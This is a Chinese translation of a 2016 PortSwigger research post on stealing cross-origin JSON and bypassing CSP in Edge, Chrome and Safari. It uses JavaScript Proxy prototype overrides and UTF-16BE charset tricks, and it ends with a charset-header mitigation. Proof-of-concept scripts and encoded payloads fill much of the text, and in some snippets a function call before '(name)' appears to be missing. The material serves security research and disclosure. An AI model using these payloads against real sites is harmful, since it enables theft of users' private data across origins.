【技术分享】现代浏览器中的新型JSON劫持技术

阅读量134450

|

发布时间 : 2016-12-03 08:32:59

x
译文声明

本文是翻译文章,文章来源:portswigger

原文地址:http://blog.portswigger.net/2016/11/json-hijacking-for-modern-web.html

译文仅供参考,具体内容表达以及含义原文为准。

http://p3.qhimg.com/t018fa7bab0d23171f4.png

翻译:WisFree

预估稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

近期,安全研究专家Benjamin Dumke-von der Ehe发现了一种能够跨域窃取数据的新方法。在JS代理(JS proxies)的帮助下,他可以自己创建一个用于窃取未定义JavaScript变量的处理器(handler)。需要注意的是,火狐浏览器似乎并不会受到该问题的影响。不过,我从中发现了一种能够对Edge浏览器进行攻击的新方法。


在Edge中实现攻击

在Edge浏览器中窃取未定义变量的PoC [点我获取]

在Edge浏览器中窃取未定义变量的PoC-2 [点我获取]

虽然Edge可以防止我们直接为window.__proto__属性赋值,但是微软的工程师似乎忘记Object.setPrototypeOf的存在。这样一来,我们就可以通过这种方法用代理__proto__重写原来的__proto__属性。具体代码如下所示:

<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
 has:function(target,name){
  (name);
 }
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme -->

如果你引入了一个跨域脚本,并且脚本中包含变量“stealme”的话,你将会看到浏览器弹出这个变量的值,即使这是一个未定义的变量。

在进行了进一步测试之后,我发现我们可以通过重写__proto__属性来达到相同的效果。我想在这里解释一下,JavaScript允许我们覆盖或重写其他的方法或对象,包括Array()这种内部方法。所以恶意攻击者可以轻松地将JavaScript中的方法或对象替换为恶意内容。注:__proto__是Edge浏览器中的EventTargetPrototype对象。具体代码如下所示:

<script>
__proto__.__proto__=new Proxy(__proto__,{
 has:function(target,name){
  (name);
 }
});
</script>
<script src="external-script-with-undefined-variable"></script>


开拓创新

现在,既然我们已经可以跨域窃取数据了,那么我们还能做些什么呢?目前主流的浏览器都支持在脚本中使用“charset”(字符集)属性,而且我发现UTF-16BE字符集非常有意思。UTF-16BE是一种多字节字符集,其中每个字符均占两个字节。比如说,如果你的脚本代码开头为“[”,那么该字符将会被解析为0x5b22,而不是0x5b 0x22。而0x5b22正好为一个有效的JavaScript变量。

假如我们现在接收到了Web服务器返回的响应数据,即一个Array Literal(数组字面量),而且我们可以控制它的部分值。这样一来,我们就可以利用UTF-16BE字符集来将这个数组字面量转变为一个未定义的JavaScript变量,然后再利用上文所描述的技术来窃取它。需要注意的是,所得结果必须是一个有效的JavaScript变量。

比如说,让我们先看看下面这个响应:

["supersecret","input here"]

为了窃取更多的机密数据,我们需要在“aa”之前插入一个空字符(NULL),由于某种原因,Edge并不会将其视为UTF-16BE字符,除非我们注入了下面代码中的这些字符。也许是因为Edge会进行某种字符集嗅探,或者它会截断部分响应数据,此时NULL值后面的字符就会变成一个无效的JS变量。相关代码如下所示:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        (name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

在Edge上窃取JSON feed的PoC [点我获取]

与之前一样,我们在代码中为__proto__属性设置了代理,脚本中还包含一个UTF-16BE字符集和一个包含有NULL值的响应。接下来,我对UTF-16BE编码字符串进行按位右移8位的解码操作,并获取到了其第一个字节的数据,然后又通过“按位与”计算获取到了第二个字节的内容。结果我们得到了一个警告弹窗,内容为“[“supersecret””,似乎Edge会将响应数据中NULL之后的内容截断。请注意,这种攻击的适用场景非常有限,因为很多字符在组合之后并不会生成一个有效的JavaScript变量。但是,我们仍然可以在某些场景下利用这项技术窃取到部分有效数据。


在Chrome中窃取JSON feed

请注意:这个问题已经在Chrome 54中得到了修复

这个PoC在Chrome 53版本中可以正常运行 [点我获取]

Chrome的情况就非常糟糕了,因为Chrome相对更加开放,我们可以自由地使用各种脚本和字符集。你不需要对响应数据进行任何的控制,Chrome完全可以正确地使用各种字符集。为了利用这个“功能”,我们还需要另外一个未定义的变量。首先,我对Chrome进行了简单的分析,我发现Chrome似乎不允许我们改写__proto__,但是他Chrome的工程师貌似忘记了__proto__属性可以不断向下延伸…

<script>
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
    has:function f(target,name){
        var str = f.caller.toString();
        (str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->

测试发现,虽然“name”参数中并没有包含我们的未定义变量,但是函数的caller却得到了我们需要的值。它返回了一个函数,其中包含我们的变量名!很明显,数据使用了UTF-16BE编码,如下所示:

function 嬢獵灥牳散牥琢Ⱒ慢挢崊

没错,我们的变量泄漏在了caller中。你需要调用toString方法来获取它的数据,否则Chrome将会抛出一个异常。在测试的过程中,我还可以跨域获取到XML或HTML数据,这是一个非常严重的信息披露漏洞。不过谷歌目前已经将Chrome中的这个漏洞修复了。


在Safari中窃取JSON feed

在Safari浏览器中实现JSON劫持的PoC [点我获取]

需要注意的是,这项攻击技术同样适用于最新版本的Safari浏览器。与Chrome浏览器的攻击场景不同,我们在这里只需要使用四个__proto__,并且使用代理中的“name”参数即可。具体代码如下所示:

<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
        has:function f(target,name){
            (name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>

在进行了进一步测试之后,我发现Safari与Edge一样无法抵御这种类型的攻击,而且我们只需要使用两个__proto__(即__proto__.__proto__)便可进行跨域窃取数据了。


在无JS代理的情况下劫持JSON feed

我在上文中提到过,目前大多数主流的浏览器都支持UTF-16BE字符集,那么我们怎样才可以在没有JS代理的情况下攻击JSON数据呢?首先,你需要控制其中的部分数据,然后JSON feed必须能够组合并构建出一个有效的JavaScript变量。现在,我们要输出一个UTF-16BE编码的字符串,然后为非ASCII变量赋值。接下来,在循环中检查这个值是否存在。相关代码如下所示:

=1337;for(i in window)if(window[i]===1337)(i)

这段代码会被编码为UTF-16BE字符串,所以我们最终得到的仍然是代码,而不是一个非ASCII变量。完整的JSON feed如下所示:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}


绕过CSP(内容安全策略)

使用UTF-16BE绕过CSP的PoC [点我获取]

可能你已经注意到了,一个UTF-16BE编码字符串还会将很多其他的对象(包括空行)转换为非ASCII变量,这也就使得我们可以利用这一点来绕过CSP了。要注意的是,HTML文档同样会被视为一个JavaScript变量,我们所要做的就是插入一个带有UTF-16BE字符集的脚本,并通过这个带有UTF编码值的脚本绕过内容安全策略。

这个HTML文档如下所示:

<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>

请注意,HTML文档中并没有声明所用的字符集,这并不是因为字符集不重要,而是因为引号和meta元素将会使我们的JavaScript脚本失效。Payload如下所示(为了构建出有效的变量,tab是必须的):

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>


缓解方案

为了有效地防止这种基于字符集的攻击,你可以在HTTP的content-type header中声明你需要使用的字符集(例如UTF-8)。PHP 5.6使用的也是这种策略,如果HTTP的content-type header中没有设置字符集的话,它将会自动声明使用UTF-8。


总结

实验结果表明,Edge、Safari和Chrome都存在这个漏洞,而攻击者将可以通过这个漏洞跨域读取未声明的变量。除此之外,攻击者还可以使用不同的字符集来绕过目标应用的内容安全策略(CSP)并窃取脚本数据。如果你可以控制服务器端的JSON响应信息,那么就算你没有设置代理,你同样能够成功地窃取数据。

本文翻译自portswigger 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
WisFree
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66